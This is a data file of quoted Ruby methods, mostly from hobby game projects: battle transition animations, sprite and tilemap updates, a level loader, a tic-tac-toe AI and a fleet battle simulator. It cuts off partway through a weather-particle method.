"def perform_damage_effect\n end",
"def perform_damage_effect\n end",
"def drawFromPixmap\n #Initializes the two object arrays, one for static, and one for dynamic.\n @DobjectArray = Array.new\n @SobjectArray = Array.new\n #This is the array that is used for collision.\n @KobjectArray = Array.new(400)\n @KobjectArray.map! {Array.new(25, nil)}\n #Initializes the object array for projectiles.\n @PobjectArray = Array.new\n #Initializes the object array for effects.\n @EobjectArray = Array.new\n #Initializes the array that contains all the respawn points.\n @respawnArray = Array.new\n #Sets victory and winto false.\n @victory = false\n @win = false\n #Sets the pixel map in accordance with the level.\n case @level\n when 0\n pixelMap = Gosu::Image.new(\"Assets/pixelmapL1.png\")\n when 1\n pixelMap = Gosu::Image.new(\"Assets/pixelmapL2.png\")\n when 2\n pixelMap = Gosu::Image.new(\"Assets/pixelmapL3.png\")\n end\n #Iterates through all pixels in the pixelmap, creating objects depending on the color of the pixel.\n for x in 0..399\n for y in 0..24\n #Gets the color and the type of object of the pixel.\n color = pixelMap.get_pixel(x, y)\n #If the color is black, move on, as it does not represent anything significant. This speeds up initialization\n #significantly.\n if color[0] == 0 and color[1] == 0 and color[2] == 0\n next\n end\n #If the pixel is black, ignore, as it does not represent anything.\n key = getFromPixel(color)\n #Creates a block, as the pixel represents a block.\n if key == \"block\"\n block = Block::Block.new(x * 16, y * 16, self)\n @SobjectArray.push(block)\n #Sets that coordinate on the map to true for collision purposes.\n @KobjectArray[x][y] = true\n end\n #Creates the player, as the pixel represents the player spawn.\n if key == \"player\"\n @player = Player::Player.new(x * 16, y * 16, self)\n #Creates the first respawn point.\n @respawnX = x * 16\n @respawnY = y * 16\n @healthBar = HealthBar::HealthBar.new(self)\n @DobjectArray.push(@player)\n end\n #Adds a respawn point, as the pixel represents a respawn point.\n if key == \"respawn\"\n @respawnArray.push([x * 16, y * 16])\n end\n #Adds the exit door, as the pixel represents the exit door.\n if key == \"exitdoor\"\n @exitDoor = ExitDoor::ExitDoor.new(x * 16, y * 16, self)\n @DobjectArray.unshift(@exitDoor)\n end\n #Creates a turret, as the pixel represents the turret spawn.\n if key == \"turret\"\n turret = Turret::Turret.new(x * 16, y * 16, self)\n @DobjectArray.push(turret)\n end\n #Creates a wall enemy, as the pixel represents the wall enemy spawn.\n if key == \"wall\"\n wall = Wall::Wall.new(x * 16, y * 16, self)\n @DobjectArray.push(wall)\n end\n #Creates a spike enemy, as the pixel represents the spike enemy spawn.\n if key == \"spike\"\n spike = Spike::Spike.new(x * 16, y * 16, self)\n @DobjectArray.push(spike)\n end\n #Creates an xshooter enemy, as the pixel represents the xshooter enemy spawn.\n if key == \"xshooter\"\n xshooter = XShooter::XShooter.new(x * 16, y * 16, self)\n @DobjectArray.push(xshooter)\n end\n #Creates a charger enemy, as the pixel represents the charger enemy spawn.\n if key == \"charger\"\n charger = Charger::Charger.new(x * 16, y * 16, self)\n @DobjectArray.push(charger)\n end\n #Creates a missile launcher enemy, as the pixel represents the missile launcher enemy spawn.\n if key == \"missile launcher\"\n mLauncher = MissileLauncher::MissileLauncher.new(x * 16, y * 16, self)\n @DobjectArray.push(mLauncher)\n end\n end\n end\n #Creates the camera.\n @camera = Camera::Camera.new(@player.x, @player.y)\n #The x and y of the respawn point.\n @respawnX = 0\n @respawnY = 0\n end",
"def native_hit\n 95\n end",
"def pbHiddenMoveAnimation(pokemon)\n return false if !pokemon\n viewport=Viewport.new(0,0,0,0)\n viewport.z=99999\n bg=Sprite.new(viewport)\n bg.bitmap=BitmapCache.load_bitmap(\"Graphics/Pictures/hiddenMovebg\")\n sprite=PokemonSprite.new(viewport)\n sprite.setOffset(PictureOrigin::Center)\n sprite.setPokemonBitmap(pokemon)\n sprite.z=1\n sprite.visible=false\n strobebitmap=AnimatedBitmap.new(\"Graphics/Pictures/hiddenMoveStrobes\")\n strobes=[]\n 15.times do |i|\n strobe=BitmapSprite.new(26*2,8*2,viewport)\n strobe.bitmap.blt(0,0,strobebitmap.bitmap,Rect.new(0,(i%2)*8*2,26*2,8*2))\n strobe.z=((i%2)==0 ? 2 : 0)\n strobe.visible=false\n strobes.push(strobe)\n end\n strobebitmap.dispose\n interp=RectInterpolator.new(\n Rect.new(0,Graphics.height/2,Graphics.width,0),\n Rect.new(0,(Graphics.height-bg.bitmap.height)/2,Graphics.width,bg.bitmap.height),\n 10)\n ptinterp=nil\n phase=1\n frames=0\n begin\n Graphics.update\n Input.update\n sprite.update\n case phase\n when 1 # Expand viewport height from zero to full\n interp.update\n interp.set(viewport.rect)\n bg.oy=(bg.bitmap.height-viewport.rect.height)/2\n if interp.done?\n phase=2\n ptinterp=PointInterpolator.new(\n Graphics.width+(sprite.bitmap.width/2),bg.bitmap.height/2,\n Graphics.width/2,bg.bitmap.height/2,\n 16)\n end\n when 2 # Slide Jermon sprite in from right to centre\n ptinterp.update\n sprite.x=ptinterp.x\n sprite.y=ptinterp.y\n sprite.visible=true\n if ptinterp.done?\n phase=3\n pbPlayCry(pokemon)\n frames=0\n end\n when 3 # Wait\n frames+=1\n if frames>30\n phase=4\n ptinterp=PointInterpolator.new(\n Graphics.width/2,bg.bitmap.height/2,\n -(sprite.bitmap.width/2),bg.bitmap.height/2,\n 16)\n frames=0\n end\n when 4 # Slide Jermon sprite off from centre to left\n ptinterp.update\n sprite.x=ptinterp.x\n sprite.y=ptinterp.y\n if ptinterp.done?\n phase=5\n sprite.visible=false\n interp=RectInterpolator.new(\n Rect.new(0,(Graphics.height-bg.bitmap.height)/2,Graphics.width,bg.bitmap.height),\n Rect.new(0,Graphics.height/2,Graphics.width,0),\n 10)\n end\n when 5 # Shrink viewport height from full to zero\n interp.update\n interp.set(viewport.rect)\n bg.oy=(bg.bitmap.height-viewport.rect.height)/2\n phase=6 if interp.done? \n end\n for strobe in strobes\n strobe.ox=strobe.viewport.rect.x\n strobe.oy=strobe.viewport.rect.y\n if !strobe.visible\n randomY=16*(1+rand(bg.bitmap.height/16-2))\n strobe.y=randomY+(Graphics.height-bg.bitmap.height)/2\n strobe.x=rand(Graphics.width)\n strobe.visible=true\n elsif strobe.x<Graphics.width\n strobe.x+=32\n else\n randomY=16*(1+rand(bg.bitmap.height/16-2))\n strobe.y=randomY+(Graphics.height-bg.bitmap.height)/2\n strobe.x=-strobe.bitmap.width-rand(Graphics.width/4)\n end\n end\n pbUpdateSceneMap\n end while phase!=6\n sprite.dispose\n for strobe in strobes\n strobe.dispose\n end\n strobes.clear\n bg.dispose\n viewport.dispose\n return true\nend",
"def anim2\n # take screenshot and draw black background\n bmp = Graphics.snap_to_bitmap\n black = Sprite.new(@viewport)\n black.bitmap = Bitmap.new(@viewport.width, @viewport.height)\n black.bitmap.fill_rect(0, 0, @viewport.width, @viewport.height, Color.black)\n # split screenshot into two halves\n field1 = Sprite.new(@viewport)\n field1.bitmap = Bitmap.new(@viewport.width, @viewport.height)\n field1.bitmap.blt(0, 0, bmp, @viewport.rect)\n field1.src_rect.height = @viewport.height/2\n field2 = Sprite.new(@viewport)\n field2.bitmap = field1.bitmap.clone\n field2.y = @viewport.height/2\n field2.src_rect.height = @viewport.height/2\n field2.src_rect.y = @viewport.height/2\n # draw ballsprites for transition\n ball1 = Sprite.new(@viewport)\n ball1.bitmap = pbBitmap(\"Graphics/EBDX/Transitions/Common/ball\")\n ball1.center!\n ball1.x = @viewport.width + ball1.ox\n ball1.y = @viewport.height/4\n ball1.zoom_x = 0.5\n ball1.zoom_y = 0.5\n ball2 = Sprite.new(@viewport)\n ball2.bitmap = pbBitmap(\"Graphics/EBDX/Transitions/Common/ball\")\n ball2.center!\n ball2.y = (@viewport.height/4)*3\n ball2.x = -ball2.ox\n ball2.zoom_x = 0.5\n ball2.zoom_y = 0.5\n # move ballsprites on screen\n 16.delta_add.times do\n ball1.x -= (@viewport.width/8)/self.delta\n ball2.x += (@viewport.width/8)/self.delta\n pbWait(1)\n end\n # move screenshots\n 32.delta_add.times do\n field1.x -= (@viewport.width/16)/self.delta\n field1.y -= (@viewport.height/32)/self.delta\n field2.x += (@viewport.width/16)/self.delta\n field2.y += (@viewport.height/32)/self.delta\n pbWait(1)\n end\n @viewport.color = Color.black\n # dispose unused sprites\n black.dispose\n ball1.dispose\n ball2.dispose\n field1.dispose\n field2.dispose\n end",
"def pbFaintBattler(pkmn)\n # reset variables\n @vector.reset\n # setup objects\n poke = @sprites[\"pokemon_#{pkmn.index}\"]\n poke.resetParticles\n databox = @sprites[\"dataBox_#{pkmn.index}\"]\n # play cry\n playBattlerCry(@battlers[pkmn.index])\n self.wait(GameData::Species.cry_length(pkmn.species, pkmn.form), true)\n # begin animation\n pbSEPlay(\"Pkmn faint\")\n poke.showshadow = false\n poke.sprite.src_rect.height = poke.oy\n 16.times do\n poke.still\n poke.sprite.src_rect.y -= 7\n poke.opacity -= 16\n databox.opacity -= 32\n self.wait(1, true)\n end\n clearMessageWindow(true)\n # try to remove low HP BGM\n setBGMLowHP(false)\n # reset src_rect\n poke.src_rect.set(0, 0, poke.bitmap.width, poke.bitmap.height)\n poke.fainted = true\n poke.charged = false\n end",
"def bright; end",
"def bright; end",
"def find_under_coordinates\r\n #search from the middle point of each side to find the first pixel that\r\n #isn't transparent, set the under coordinates when found.\r\n sx = @character.pattern * @cw\r\n sy = (@character.direction - 2) / 2 * @ch\r\n (0...@cw).each do |i|\r\n if @under[0] == -1 && self.bitmap.get_pixel(sx + i, sy + @ch / 2).alpha != 0\r\n @under[0] = i\r\n end\r\n if @under[2] == -1 && self.bitmap.get_pixel(sx + @cw - i, sy + @ch / 2).alpha != 0\r\n @under[2] = @cw - i \r\n end\r\n #break if all the coordinates have been set\r\n break if @under[0] != -1 && @under[2] != -1\r\n end\r\n (0...@ch).each do |i|\r\n if @under[1] == -1 && self.bitmap.get_pixel(sx + @cw / 2, sy + i).alpha != 0\r\n @under[1] = i\r\n end\r\n if @under[3] == -1 && self.bitmap.get_pixel(sx + @cw / 2, sy + @ch - i).alpha != 0\r\n @under[3] = @ch - i\r\n end \r\n #break if all the coordinates have been set\r\n break if @under[1] != -1 && @under[3] != -1\r\n end\r\n #store data in the fade cache\r\n key = [@character.character_name,@character.direction,@character.pattern]\r\n @@fade_cache[key] = @under\r\n #prevent frame skip\r\n Graphics.frame_reset\r\n end",
"def check_encompassed_area\n @set_upper_area_sprite = false\n top_left, bot_right = get_edge_corner_dis\n last_x, last_y, copy_region = nil, nil, 0\n map_xd, map_yd = $game_map.display_x * 32, $game_map.display_y * 32\n ##total_height = (self.height + @character.jump_height).round\n total_height = (self.oy).round\n self.width.times do |x|\n xp = map_xd.to_i + top_left[0] + x\n unless xp / 32 == last_x\n last_x = xp / 32\n last_y, copy_region = nil, 0\n total_height.times do |y|\n yp = map_yd.to_i + bot_right[1] + @character.jump_height - y\n next if yp.to_i / 32 == last_y\n last_y = yp.to_i / 32\n if last_y == (@character.screen_y + map_yd).to_i / 32\n#~ if last_y == (@character.screen_y + @character.jump_height +\n#~ map_yd).to_i / 32\n break if $game_map.terrain_tag(last_x, last_y) == UpperTerrain\n next\n end\n next if $game_map.terrain_tag(last_x, last_y) != UpperTerrain\n copy_region = [self.height, total_height - y + 1].min\n set_upper_sprite\n break\n end\n end\n next if copy_region == 0\n rect = Rect.new(src_rect.x + x, src_rect.y, 1, copy_region)\n @upper_area_sprite.bitmap.blt(x, 0, self.bitmap, rect)\n self.bitmap.clear_rect(rect)\n end\n if !@set_upper_area_sprite && @upper_area_sprite\n @upper_area_sprite.visible = false\n end\n end",
"def track_wire(instructions)\n pt = [0,0]\n points = {}\n moves = 0\n instructions.each do |str|\n direction = str[0]\n steps = str.slice(/\\d+/).to_i\n while steps > 0 do\n moves += 1\n pt[0] += @compass[direction][0]\n pt[1] += @compass[direction][1]\n # add first crossing only (lowest steps wins)\n if !points.has_key? pt\n points[pt.dup] = moves\n end\n steps -= 1\n end\n # break if moves > 5000\n end\n points\nend",
"def anim1\n # load ball sprite\n ball = Sprite.new(@viewport)\n ball.bitmap = pbBitmap(\"Graphics/EBDX/Transitions/Common/ball\")\n ball.center!(true)\n ball.zoom_x = 0\n ball.zoom_y = 0\n # spin ball into place\n 16.delta_add.times do\n ball.angle += 22.5/self.delta\n ball.zoom_x += 0.0625/self.delta\n ball.zoom_y += 0.0625/self.delta\n pbWait(1)\n end\n ball.angle = 0\n ball.zoom = 1\n # take screenshot\n bmp = Graphics.snap_to_bitmap\n pbWait(8.delta_add)\n # dispose ball sprite\n ball.dispose\n # black background\n black = Sprite.new(@viewport)\n black.bitmap = Bitmap.new(@viewport.width, @viewport.height)\n black.bitmap.fill_rect(0, 0, @viewport.width, @viewport.height, Color.black)\n # split screenshot into two halves\n field1 = Sprite.new(@viewport)\n field1.bitmap = Bitmap.new(@viewport.width, @viewport.height)\n field1.bitmap.blt(0, 0, bmp, @viewport.rect)\n field1.src_rect.height = @viewport.height/2\n field2 = Sprite.new(@viewport)\n field2.bitmap = field1.bitmap.clone\n field2.y = @viewport.height/2\n field2.src_rect.height = @viewport.height/2\n field2.src_rect.y = @viewport.height/2\n # move halves off screen\n 16.delta_add.times do\n field1.x -= (@viewport.width/16)/self.delta\n field2.x += (@viewport.width/16)/self.delta\n pbWait(1)\n end\n field1.x = -@viewport.width\n field2.x = @viewport.width\n @viewport.color = Color.black\n # dispose unused sprites\n black.dispose\n field1.dispose\n field2.dispose\n end",
"def update\n oldbmp = @sprite.bitmap\n if @oldpage != @game_event.current_page\n page = @game_event.current_page\n if page\n graphic = page.graphic\n if graphic[:type] == :file # Filename with src_rect\n if graphic[:param] && graphic[:param].size > 0\n @sprite.set_bitmap(graphic[:param])\n @sprite.src_rect.width = @sprite.bitmap.width / 4\n @sprite.src_rect.height = @sprite.bitmap.height / 4\n @sprite.src_rect.y = (graphic[:direction] / 2 - 1) * @sprite.src_rect.height\n else\n @sprite.bitmap = nil\n end\n @setdir = true\n @animate = true\n elsif graphic[:type] == :file_norect # Filename without src_rect\n @sprite.set_bitmap(graphic[:param])\n @setdir = false\n @animate = false\n elsif graphic[:type] == :tile # Tile\n tileset_id, tile_id = graphic[:param]\n tileset = MKD::Tileset.fetch(tileset_id)\n @sprite.set_bitmap(\"gfx/tilesets/#{tileset.graphic_name}\")\n @sprite.src_rect.width = 32\n @sprite.src_rect.height = 32\n tile_id = graphic[:param][1]\n @sprite.src_rect.x = (tile_id % 8) * 32\n @sprite.src_rect.y = (tile_id / 8).floor * 32\n @setdir = false\n @animate = false\n end\n else\n @sprite.bitmap = nil\n @setdir = false\n @animate = false\n @relative_x = @game_event.x * 32 + 16\n @relative_y = @game_event.y * 32 + 32\n end\n @sprite.ox = @sprite.src_rect.width / 2\n @sprite.oy = @sprite.src_rect.height\n end\n\n if oldbmp != @sprite.bitmap && @sprite.bitmap.nil?\n @xdist = []\n @xtrav = []\n @xstart = []\n @ydist = []\n @ytrav = []\n @ystart = []\n @anim = []\n @moveroute_wait = 0\n @moveroute_ready = true\n end\n\n if @olddirection != @game_event.direction && @setdir\n @sprite.src_rect.y = (@game_event.direction / 2 - 1) * @sprite.src_rect.height\n end\n\n # Queues movement commands\n if @moveroute_wait > 0\n @moveroute_wait -= 1\n next_move if @moveroute_wait == 0\n end\n if @moveroute_ready\n move = @game_event.moveroute[0]\n if move\n @moveroute_ready = false\n name = move\n name = move[0] if move.is_a?(Array)\n execute_move_command(name)\n end\n end\n\n # Executes the horizontal movement\n if @xdist[0] && @xtrav[0] && @xstart[0]\n if @xtrav[0].abs < @xdist[0].abs\n dist = @game_event.speed * (@xdist[0] < 0 ? -1 : 1)\n @xtrav[0] += dist\n @xtrav[0] = @xdist[0] < 0 ? [@xtrav[0], @xdist[0]].max : [@xtrav[0], @xdist[0]].min\n @relative_x = @xstart[0] + @xtrav[0]\n if @anim[0].size > 0 && (@xdist[0] > 0 && @xtrav[0] > @anim[0][0] || @xdist[0] < 0 && @xtrav[0] < @anim[0][0])\n if @animate\n @sprite.src_rect.x += @sprite.src_rect.width\n @sprite.src_rect.x = 0 if @sprite.src_rect.x >= @sprite.bitmap.width\n end\n @anim[0].delete_at(0)\n end\n else\n @xtrav.delete_at(0)\n @xdist.delete_at(0)\n @xstart.delete_at(0)\n @anim.delete_at(0)\n next_move\n end\n end\n # Executes the vertical movement\n if @ydist[0] && @ytrav[0] && @ystart[0]\n if @ytrav[0].abs < @ydist[0].abs\n dist = @game_event.speed * (@ydist[0] < 0 ? -1 : 1)\n @ytrav[0] += dist\n @ytrav[0] = @ydist[0] < 0 ? [@ytrav[0], @ydist[0]].max : [@ytrav[0], @ydist[0]].min\n @relative_y = @ystart[0] + @ytrav[0]\n if @anim[0].size > 0 && (@ydist[0] > 0 && @ytrav[0] > @anim[0][0] || @ydist[0] < 0 && @ytrav[0] < @anim[0][0])\n if @animate\n @sprite.src_rect.x += @sprite.src_rect.width\n @sprite.src_rect.x = 0 if @sprite.src_rect.x >= @sprite.bitmap.width\n end\n @anim[0].delete_at(0)\n end\n else\n @ytrav.delete_at(0)\n @ydist.delete_at(0)\n @ystart.delete_at(0)\n @anim.delete_at(0)\n next_move\n end\n end\n\n # Sets the sprite's on-screen location based on the map's offset and the coordinates of the sprite relative to the map.\n map = $visuals.maps[@game_event.map_id]\n @sprite.x = map.real_x + @relative_x\n @sprite.y = map.real_y + @relative_y\n @sprite.z = @sprite.y + 31\n\n @oldpage = @game_event.current_page\n @olddirection = @game_event.direction\n end",
"def offensive_row_for_ai(board)\n offensive_play = {}\n WINNING_COMBINATIONS.each { |offense| offensive_play[offense] = 0 }\n WINNING_COMBINATIONS.each do |offense|\n offense.each do |is_x|\n offensive_play[offense] += 1 if board[is_x] == COMPUTER_MARKER\n if board[is_x] == PLAYER_MARKER\n offensive_play[offense] = 0\n break\n end\n end\n end\n offensive_play\nend",
"def anim3\n # hash to store all sprites\n balls = {}\n rects = {}\n # creates blank ball bitmap\n ball = Bitmap.new(@viewport.height/6,@viewport.height/6)\n bmp = pbBitmap(\"Graphics/EBDX/Transitions/Common/ball\")\n ball.stretch_blt(Rect.new(0,0,ball.width,ball.height),bmp,Rect.new(0,0,bmp.width,bmp.height))\n # creates necessary sprites\n for i in 0...6\n # black rectangles\n rects[\"#{i}\"] = Sprite.new(@viewport)\n rects[\"#{i}\"].bitmap = Bitmap.new(2,@viewport.height/6)\n rects[\"#{i}\"].bitmap.fill_rect(0,0,2,@viewport.height/6,Color.black)\n rects[\"#{i}\"].x = (i%2==0) ? -32 : @viewport.width+32\n rects[\"#{i}\"].ox = (i%2==0) ? 0 : 2\n rects[\"#{i}\"].y = (@viewport.height/6)*i\n rects[\"#{i}\"].zoom_x = 0\n # ballsprites\n balls[\"#{i}\"] = Sprite.new(@viewport)\n balls[\"#{i}\"].bitmap = ball\n balls[\"#{i}\"].center!\n balls[\"#{i}\"].x = rects[\"#{i}\"].x\n balls[\"#{i}\"].y = rects[\"#{i}\"].y + rects[\"#{i}\"].bitmap.height/2\n end\n # moves sprites across screen\n for j in 0...28.delta_add\n for i in 0...6\n balls[\"#{i}\"].x += ((i%2==0) ? 24 : -24)/self.delta\n balls[\"#{i}\"].angle -= ((i%2==0) ? 32 : -32)/self.delta\n rects[\"#{i}\"].zoom_x += 12/self.delta\n end\n pbWait(1)\n end\n @viewport.color = Color.black\n # disposes unused sprites\n pbDisposeSpriteHash(balls)\n pbDisposeSpriteHash(rects)\n end",
"def update\n return if @disposed\n ox = @ox\n oy = @oy\n #> S'il y a une variation dans les autotiles\n if @autotiles != @autotiles_copy\n remake_autotiles\n draw_all(@last_x = ox / 32 - 1, @last_y = oy / 32 - 1, ox % 32, oy % 32)\n #> Si le compteur tombe sur le moment de mise à jour des autotiles\n elsif (Graphics.frame_count % Autotile_Frame_Count) == 0\n x = ox / 32 - 1\n y = oy / 32 - 1\n #> Si la position a changée il faut remettre les bitmaps où il faut\n if(x != @last_x or y != @last_y)\n draw_all(@last_x = x, @last_y = y, ox % 32, oy % 32)\n else\n draw_autotiles(@last_x = x, @last_y = y, ox % 32, oy % 32)\n end\n #> Si la map a bougée\n elsif ox != @last_ox or oy != @last_oy\n x = ox / 32 - 1\n y = oy / 32 - 1\n #> Si la position a changée il faut remettre les bitmaps où il faut\n if(x != @last_x or y != @last_y)\n draw_all(@last_x = x, @last_y = y, ox % 32, oy % 32)\n else\n update_positions(@last_x = x, @last_y = y, ox % 32, oy % 32)\n end\n end\n @last_ox = ox\n @last_oy = oy\n end",
"def battle\n # Runden auf 0 setzen, continue auf true (Für die Schleife)\n round = 0\n continue = true\n # Bilde Arrays mit allen nötigen Werten für den Kampf\n turn_fleet = build_array(@attacker, @attacker_fleet)\n target_fleet = build_array(@defender, @defender_fleet)\n # Angreifer beginnt\n turn_user = @attacker\n target_user = @defender\n while (round < 1000 && continue ) do\n round = round + 1\n if target_user == @defender\n @fight_shield = @defender_shield\n else\n @fight_shield = @attacker_shield\n end\n # Damit alle Gruppen in einer Runde nur auf das Schild feuern können\n shield = @fight_shield\n # Für die Ausgabe der Runden-Berichte\n round_report = []\n round_report << \"Runde #{round+1}: \"\n round_report << \"#{turn_user.username} ist am Zug.\"\n if shield > 0\n round_report << \"Schild von #{target_user.username} ist aktiv.\"\n round_report << \"Schild hält noch #{shield} Schaden aus.\"\n round_report << \"Alle Truppen schießen auf den Schildt!\"\n else \n round_report << \"Schild von #{target_user.username} ist inaktiv.\"\n round_report << \"Angriffe werden nicht abgewehrt!\"\n round_report << \" \"\n end\n turn_fleet.each do |a|\n # Nur Einheiten mit Anzahl > 0 und Schaden > 0 können kämpfen\n if a[1] > 0 && a[2] > 0 \n round_report << \"Die Gruppe #{a[5]} trifft... \"\n # Bestimme Ziel anhand von id.\n # -2 ist Miss\n # -1 ist Schild\n target = hit(target_fleet, turn_user)\n if(target == -2)\n round_report << \"nicht. Der Angriff ging daneben. \"\n round_report << \" \"\n round_report << \" \"\n elsif(target==-1)\n round_report << \"das Schild. Der Schaden beträgt: \"\n mult = 1\n # Falls Ionenwaffe, wird Schaden an Schild erhöht\n if a[3] == 2\n mult = 1.5\n end\n damage = a[2] * mult\n round_report << \"#{damage} \"\n round_report << \" \"\n # Abzug des Schilds. Übernahme erst bei nächster Runde\n @fight_shield = @fight_shield - damage\n else\n mult=1\n # Falls Laserwaffe, wird Schaden an Hülle erhöht\n # TABELLE DAMAGETYPE EINFÜGEN\n if(a[3]==1)\n mult=1.5\n end \n # Bestimme welche Einheit getroffen wurde\n victim=target_fleet[target]\n # round_report << \"#{victim[5]}. Der Schaden beträgt: \"\n # Schadensberechnung\n damage=a[2]*mult\n round_report << \"#{damage} \"\n # Berechne neue HP\n hit_points=victim[-2]\n victim[-2]=hit_points-damage\n # Berechne Anzahl und Schaden neu\n update_ship_group(victim)\n round_report << \"#{victim[4]} Einheiten wurden zerstört. \"\n end\n end \n # Füge Runden-Bericht ein\n # @round_reports << round_report\n end\n # Testet, ob Spieler noch Truppen besitzt\n if (defeat(target_fleet))\n continue=false\n else\n # Falls Schild unter 0, wird er auf 0 gesetzt\n if @fight_shield < 0\n @fight_shield = 0\n end\n # Kampf-Schild für nächste Runde\n if target_user==@attacker\n @attacker_shield=@fight_shield\n else\n @defender_shield=@fight_shield\n end\n # Tausche Rolle des Angreifers aus\n tmp_fleet=turn_fleet\n tmp_user=turn_user\n turn_fleet=target_fleet\n turn_user=target_user\n target_fleet=tmp_fleet\n target_user=tmp_user\n end\n # Füge alle Runden-Berichte hinzu\n @report << @round_reports\n end\n if continue\n @report << \"Unentschieden! \"\n @report << \"Es konnte kein Sieger ermittelt werden \"\n else \n @report << \"Die Flotte von #{target_user.username} unterlag. \"\n @report << \" #{turn_user.username} war siegreich! \"\n end\n # Generiere Verlustrechnung\n if turn_user == @attacker\n lost_report(turn_fleet, @attacker) \n lost_report(target_fleet, @defender) \n else\n lost_report(target_fleet, @attacker) \n lost_report(turn_fleet, @defender) \n end\n end",
"def virus_effects #looks DRY but not using the full scope of the variables \r\n predicted_deaths\r\n speed_of_spread\r\n end",
"def draw_element_resist(battler, x, y)\n self.contents.font.size = Scan_Window_Font_Size\n max_elment = [Scan_Max_Elements_Shown, 8].min\n y = y + (200 - (max_elment * 25)) / 2\n if battler.actor? and not $atoa_script['Atoa New Resistances']\n elements = $data_classes[battler.class_id].element_ranks\n elsif battler.actor? and $atoa_script['Atoa New Resistances']\n elements = battler.elemental_resist\n else\n elements = $data_enemies[battler.id].element_ranks\n end\n base = value = 0\n case Scan_Element_Resists_Exhibition\n when 0\n table = [0] + Scan_Element_Resist\n when 1\n table = [0] + ['-100%','-50%','0%','50%','100%','200%']\n else\n table = [0] + ['200%','150%','100%','50%','0%','-100%']\n end\n for i in 0...$data_system.elements.size\n begin\n bitmap = RPG::Cache.icon($data_system.elements[i] + '_elm')\n self.contents.blt(x + (base * 112), y + (value * 25), bitmap, Rect.new(0, 0, 24, 24))\n result = table[elements[i]]\n case elements[i]\n when 1\n self.contents.font.color = Scan_Weakest_Color\n when 2\n self.contents.font.color = Scan_Weak_Color\n when 3\n self.contents.font.color = Scan_Neutral_Color\n when 4\n self.contents.font.color = Scan_Resist_Color\n when 5\n self.contents.font.color = Scan_Imune_Color\n when 6\n self.contents.font.color = Scan_Absorb_Color\n end\n case Scan_Element_Resists_Exhibition\n when 0\n self.contents.draw_text(x + 28 + (base * 112), y - 4 + (value * 25), 180, 32, \n result.to_s, 0)\n else\n self.contents.draw_text(x + (base * 112), y - 4 + (value * 25), 72, 32, \n result.to_s, 2)\n end\n value += 1\n base += 1 if value == max_elment\n value = value % max_elment\n rescue\n end\n end\n end",
"def blit; end",
"def on_the_offensive(brd)\n attack = []\n WINNING_LINES.each do |line|\n current_line = brd.values_at(*line)\n if current_line.count(COMPUTER_MARKER) == 2\n attack = line\n end\n attack # returns array that is the best attack vector\nend\n\ndef determine_threat(brd)\n threat_line = []\n WINNING_LINES.each do |line|\n current_line = brd.values_at(*line)\n if current_line.any?(COMPUTER_MARKER)\n next\n elsif current_line.count(PLAYER_MARKER) == 2\n threat_line = line\n end\n end\n threat_line\nend",
"def calculate_bomb_acceleration data\n acceleration = 1\n # reset data first then check everything after\n # interval : 1250ms (1.25 secs)\n if data[:start_time] && Gosu.milliseconds - data[:start_time] >= 1250\n data[:click_number] = 0\n acceleration = 1\n end\n\n # each case of click number yields different acceleration\n case data[:click_number].to_s\n when /1[0-8]/\n acceleration = 2\n when /19|2[0-6]/\n acceleration = 3\n when /2[7-9]|3[0-4]/\n acceleration = 4\n when /3[5-9]|[4-9][0-9]/\n acceleration = 5\n when \"\"\n data[:click_number] = 0\n end\n\n data[:click_number] = 0 if data[:click_number] >= 100\n\n # saves data for next comparison\n data[:start_time] = Gosu.milliseconds\n data[:click_number] += 1\n\n # return acceleration value\n acceleration\nend",
"def update\n return if self.disposed?\n @sprites[\"bg\"].update\n @sprites[\"streak\"].update\n @sprites[\"shine\"].angle += 8.delta_sub if $PokemonSystem.screensize < 2\n @sprites[\"shine\"].zoom_x -= (0.04*@sprites[\"shine\"].toggle).delta_sub(true)\n @sprites[\"shine\"].zoom_y -= (0.04*@sprites[\"shine\"].toggle).delta_sub(true)\n @sprites[\"shine\"].toggle *= -1 if @sprites[\"shine\"].zoom_x <= 0.8 || @sprites[\"shine\"].zoom_x >= 1.2\n # skips the animation that is not called before the end of the whole animation\n return if !@started\n @viewport.color.alpha -= 16.delta_sub if @viewport.color.alpha > 0\n @sprites[\"trainer_a\"].x -= 1 if @i < 12\n @sprites[\"vs\"].x += @sprites[\"vs\"].toggle\n @sprites[\"vs\"].y += @sprites[\"vs\"].toggle\n @sprites[\"vs\"].toggle *= -1 if (@sprites[\"vs\"].x - 140).abs >= 2\n @i += 1 if @i < 128\n end",
"def updateWeather\n self.setWeather\n harsh = [:HEAVYRAIN, :HARSHSUN].include?(@battle.pbWeather)\n # snow particles\n for j in 0...72\n next if !@sprites[\"w_snow#{j}\"]\n if @sprites[\"w_snow#{j}\"].opacity <= 0\n z = rand(32)\n @sprites[\"w_snow#{j}\"].param = 0.24 + 0.01*rand(z/2)\n @sprites[\"w_snow#{j}\"].ey = -rand(64)\n @sprites[\"w_snow#{j}\"].ex = 32 + rand(@sprites[\"bg\"].bitmap.width - 64)\n @sprites[\"w_snow#{j}\"].end_x = @sprites[\"w_snow#{j}\"].ex\n @sprites[\"w_snow#{j}\"].toggle = rand(2) == 0 ? 1 : -1\n @sprites[\"w_snow#{j}\"].speed = 1 + 2/((rand(5) + 1)*0.4)\n @sprites[\"w_snow#{j}\"].z = z - (@focused ? 0 : 100)\n @sprites[\"w_snow#{j}\"].opacity = 255\n end\n min = @sprites[\"bg\"].bitmap.height/4\n max = @sprites[\"bg\"].bitmap.height/2\n scale = (2*Math::PI)/((@sprites[\"w_snow#{j}\"].bitmap.width/64.0)*(max - min) + min)\n @sprites[\"w_snow#{j}\"].opacity -= @sprites[\"w_snow#{j}\"].speed\n @sprites[\"w_snow#{j}\"].ey += @sprites[\"w_snow#{j}\"].speed\n @sprites[\"w_snow#{j}\"].ex = @sprites[\"w_snow#{j}\"].end_x + @sprites[\"w_snow#{j}\"].bitmap.width*0.25*Math.sin(@sprites[\"w_snow#{j}\"].ey*scale)*@sprites[\"w_snow#{j}\"].toggle\n end\n # rain particles\n for j in 0...72\n next if !@sprites[\"w_rain#{j}\"]\n if @sprites[\"w_rain#{j}\"].opacity <= 0\n z = rand(32)\n @sprites[\"w_rain#{j}\"].param = 0.24 + 0.01*rand(z/2)\n @sprites[\"w_rain#{j}\"].ox = 0\n @sprites[\"w_rain#{j}\"].ey = -rand(64)\n @sprites[\"w_rain#{j}\"].ex = 32 + rand(@sprites[\"bg\"].bitmap.width - 64)\n @sprites[\"w_rain#{j}\"].speed = 3 + 2/((rand(5) + 1)*0.4)\n @sprites[\"w_rain#{j}\"].z = z - (@focused ? 0 : 